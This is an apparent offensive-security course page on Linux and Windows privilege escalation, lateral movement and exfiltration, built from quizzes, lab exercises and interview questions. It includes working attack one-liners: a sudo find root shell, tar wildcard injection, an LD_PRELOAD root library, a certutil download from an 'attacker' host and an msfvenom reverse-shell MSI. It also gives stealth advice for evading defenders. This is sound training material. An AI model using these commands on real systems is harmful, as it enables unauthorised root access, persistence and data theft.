You have MSSQL SA (sysadmin) credentials but no OS shell. What feature lets you execute operating system commands?
xp_cmdshell is MSSQL's built-in procedure for executing OS commands. It's disabled by default but can be enabled by sysadmins with sp_configure. LOAD DATA INFILE and INTO OUTFILE are MySQL features. COPY TO PROGRAM is PostgreSQL. Each major database has its own path to OS command execution.
Which lateral movement tool is considered the STEALTHIEST for Windows environments?
WMIExec uses Windows Management Instrumentation for remote command execution. Unlike PsExec (which creates a service), WMIExec leaves fewer forensic artifacts, making it harder for blue teams to detect. The stealth hierarchy: WMIExec > Evil-WinRM > SMBExec > PsExec. In real engagements, prefer stealthier methods to avoid detection.
Why does DNS exfiltration work when other outbound connections are blocked?
DNS is essential for resolving domain names to IP addresses. Without DNS, nothing on the network works — web browsing, email, updates all break. Because of this, port 53 is almost never blocked by egress filters. Attackers exploit this by encoding data into DNS queries (as subdomain labels) and sending them to an attacker-controlled DNS server. Tools like dnscat2 can create full interactive tunnels over DNS.

🏋️ Practical Exercises

  1. Shell upgrading: Get a basic nc reverse shell from a TryHackMe machine. Practice the full upgrade process (python pty → stty raw → export TERM).
  2. SUID exploitation: On TryHackMe's "Linux PrivEsc" room, find and exploit 3 different SUID binaries using GTFOBins.
  3. Docker escape: Try "The Docker Rodeo" room on TryHackMe or set up a local Docker container with a mounted socket and practice the escape.
  4. LOLBins challenge: Transfer a file to a target machine using at least 3 different methods (curl, python, bash /dev/tcp, base64 copy-paste).
  5. Windows privesc: Complete TryHackMe's "Windows PrivEsc" room. Practice token impersonation with PrintSpoofer on a box with SeImpersonatePrivilege.
  6. Port forwarding: Set up SSH local port forwarding and a SOCKS proxy. Access a web service on an internal network through the pivot host.
  7. Automated enum: Run LinPEAS on a vulnerable machine. Read the entire output — learn what each section tells you.
  8. Credential hunting: On any compromised machine, systematically search for credentials — check config files, history files, SSH keys, and environment variables. Build a found-credentials list.
  9. Password reuse: After finding a credential on one service, test it against SSH, su, and other services on the same host and adjacent hosts using CrackMapExec or Hydra.
  10. Kernel exploit lab: Set up a VM with an old kernel (Ubuntu 16.04 or similar). Practice identifying the kernel version, searching with searchsploit, compiling, and running Dirty COW or PwnKit.
  11. sudo deep dive: On TryHackMe's "Sudo Buffer Overflow" or "Linux PrivEsc Arena" rooms, practice LD_PRELOAD exploitation and sudoers wildcard bypasses.
  12. Database to shell: Set up a local MySQL/PostgreSQL instance. Practice writing webshells with INTO OUTFILE and executing commands with COPY TO PROGRAM.
  13. Wildcard injection: Create a cron job that runs tar with *. Practice the full wildcard injection chain — create the malicious filenames and verify execution.
  14. Lateral movement: In a multi-machine lab (HTB Pro Labs or TryHackMe Wreath), practice pivoting with Chisel/SSH and moving laterally with PsExec/Evil-WinRM.

✅ Key Concepts Checklist

Can you explain these without looking them up?

  • What's the difference between a reverse shell and a bind shell?
  • Why do you need to upgrade your shell, and what does a PTY give you?
  • What's a SUID binary and why is it a privilege escalation vector?
  • What are Linux capabilities and how do they differ from SUID?
  • How does wildcard injection work with tar, chown, and rsync?
  • Why does Docker group membership give you root?
  • What's SeImpersonatePrivilege and why is it dangerous?
  • What's the difference between local port forwarding and a SOCKS proxy?
  • Name three LOLBins for downloading files on Windows.
  • What is LD_PRELOAD and how can it be used with sudo for privilege escalation?
  • What is NFS no_root_squash and why is it dangerous?
  • Name the three famous kernel exploits and their CVEs (Dirty Pipe, Dirty COW, PwnKit).
  • What's the difference between unquoted service paths and weak service permissions on Windows?
  • How do you get a shell from MySQL, MSSQL, and PostgreSQL credentials?
  • Why is password reuse considered the #1 privilege escalation vector?
  • What is DNS exfiltration and why does it bypass most firewalls?
  • What is Baron Samedit (CVE-2021-3156) and why is it so impactful?
  • Name four persistence mechanisms on Linux and four on Windows.
  • What is the difference between PsExec, WMIExec, and Evil-WinRM for lateral movement?
  • What is AMSI and why does it matter for PowerShell-based attacks?

🎤 Common Interview Questions

  • "Walk me through your privilege escalation methodology on a Linux machine."
  • "You have a low-privilege shell. How do you escalate to root? What do you check first?"
  • "What's the difference between horizontal and vertical privilege escalation?"
  • "How would you pivot from a compromised DMZ host to the internal network?"
  • "What are Living Off the Land techniques and why are they important for red teamers?"
  • "How do you detect container breakout attempts from a blue team perspective?"
  • "Explain how an attacker could exploit a misconfigured cron job."
  • "You found database credentials but no shell. Walk me through getting OS-level access via MySQL, MSSQL, or PostgreSQL."
  • "What is credential harvesting and what are the first 5 places you look for passwords on a compromised Linux host?"
  • "Explain the concept of password spraying. How does it differ from brute-forcing? What precautions do you take?"
  • "How would you establish persistence on a Windows system? What methods are stealthy vs. reliable?"
  • "What's the difference between AV evasion and EDR evasion? How would you approach each?"
  • "Describe the Windows DLL search order and how DLL hijacking works."
  • "You need to exfiltrate sensitive data but outbound HTTP/HTTPS is blocked. What are your options?"

📚 Resources for This Phase

📝

Phase 4 Checkpoint

0 / 12
Which Linux privilege escalation tools should you run for automated enumeration? (Select ALL that apply)
LinPEAS is the gold standard for automated Linux privesc enumeration — it checks SUID, capabilities, cron, passwords, and more. pspy monitors processes without root to discover cron jobs and scheduled tasks. Linux Smart Enumeration provides another perspective on the same checks. Burp Suite is a web proxy tool — not used for Linux privilege escalation.
Scenario: You run sudo -l and see this output:

User sarah may run the following commands on target:
  (ALL) NOPASSWD: /usr/bin/find


How do you escalate to root?
find with -exec can execute arbitrary commands. Since you can run find as root (NOPASSWD), sudo find . -exec /bin/bash \; -quit spawns a bash shell running as root. GTFOBins documents these exploitation techniques for hundreds of binaries. Always check sudo -l first — it's the most common easy win for privilege escalation.
What Windows privilege makes you eligible for token impersonation attacks (JuicyPotato, PrintSpoofer, GodPotato)?
SeImpersonatePrivilege allows a process to impersonate security tokens of other users — including SYSTEM. Service accounts and IIS application pools commonly have this privilege. Tools like PrintSpoofer (Windows 10+), GodPotato (latest/most reliable), and JuicyPotato (older systems) exploit this to escalate from a service account to SYSTEM.
What's the correct sequence for upgrading a basic netcat reverse shell to a fully interactive TTY?
Run python3 -c 'import pty; pty.spawn("/bin/bash")'
Run stty raw -echo; fg on your attacker machine
Press Ctrl+Z to background the shell
Run export TERM=xterm in the upgraded shell
The shell upgrade process: 1) Spawn PTY with Python → 2) Background the shell with Ctrl+Z → 3) Fix terminal with stty raw -echo; fg (on attacker) → 4) Set TERM with export TERM=xterm. This gives you tab completion, arrow keys, Ctrl+C that doesn't kill your shell, and proper terminal handling.
Which Windows LOLBin is commonly used to download files from a remote server?
certutil -urlcache -split -f http://attacker/payload.exe C:\Temp\payload.exe downloads files using the Windows certificate utility. It's a legitimate system tool, so it's often not blocked by security software. Other download LOLBins: bitsadmin, powershell (New-Object Net.WebClient).DownloadFile(), and curl (Windows 10+).
You find a writable cron job that runs cd /home/user && tar czf /tmp/backup.tar.gz * as root. How can you exploit the wildcard (*)?
Wildcard injection with tar: when the shell expands *, filenames that look like command flags are treated as flags. Creating files named --checkpoint=1 and --checkpoint-action=exec=sh shell.sh makes tar execute your script as root. This is a classic cron + wildcard exploitation technique that appears frequently in CTFs.
What is SSH local port forwarding used for?
SSH local port forwarding (-L) creates a tunnel: traffic to a local port is forwarded through the SSH connection to a destination on the remote network. ssh -L 8080:10.10.10.5:80 user@pivot means "when I visit localhost:8080, send that traffic through the pivot host to 10.10.10.5:80." This is essential for reaching internal services during post-exploitation.
How do you check if you're inside a Docker container?
Common container detection: /.dockerenv exists in Docker containers, /proc/1/cgroup shows "docker" in cgroup paths, and the hostname is typically a random hex string. Running docker ps from inside a container usually fails (Docker CLI isn't installed) unless the Docker socket is mounted — which is itself an escape vector.
Scenario: You run sudo -l and the output includes env_keep+=LD_PRELOAD. What attack does this enable?
LD_PRELOAD forces a shared library to load before all others. If sudo preserves this variable (env_keep+=LD_PRELOAD), you can compile a malicious .so that calls setresuid(0,0,0) and system("/bin/bash -p"). Run sudo LD_PRELOAD=/tmp/shell.so /usr/bin/any_allowed_command — the library executes as root before the actual command runs.
What NFS export option makes privilege escalation possible by allowing remote root users to maintain root privileges on the share?
no_root_squash disables root squashing — normally, NFS maps remote root to the nobody user for security. With no_root_squash, root on the client stays root on the NFS share. This allows an attacker to mount the share, create a SUID binary as root, and then execute it on the target for instant privilege escalation.
Which of these is the MOST reliable first step after finding a password on a compromised system?
Password reuse is the #1 privilege escalation vector in real environments. Before using a found password for its intended purpose (database, web app, etc.), always test it against root, other local users, and other hosts. People reuse passwords constantly — a WordPress database password often works for SSH, the admin account, or even the domain. This single step has a higher success rate than any technical exploit.
In Windows privilege escalation, what makes "AlwaysInstallElevated" dangerous?
When both HKLM and HKCU AlwaysInstallElevated registry keys are set to 1, any .msi installer package runs with SYSTEM privileges. An attacker can generate a malicious MSI with msfvenom -p windows/x64/shell_reverse_tcp ... -f msi and install it with msiexec /quiet /qn /i shell.msi for instant SYSTEM access.
← Phase 3: Web Exploitation All Phases Phase 5: Active Directory →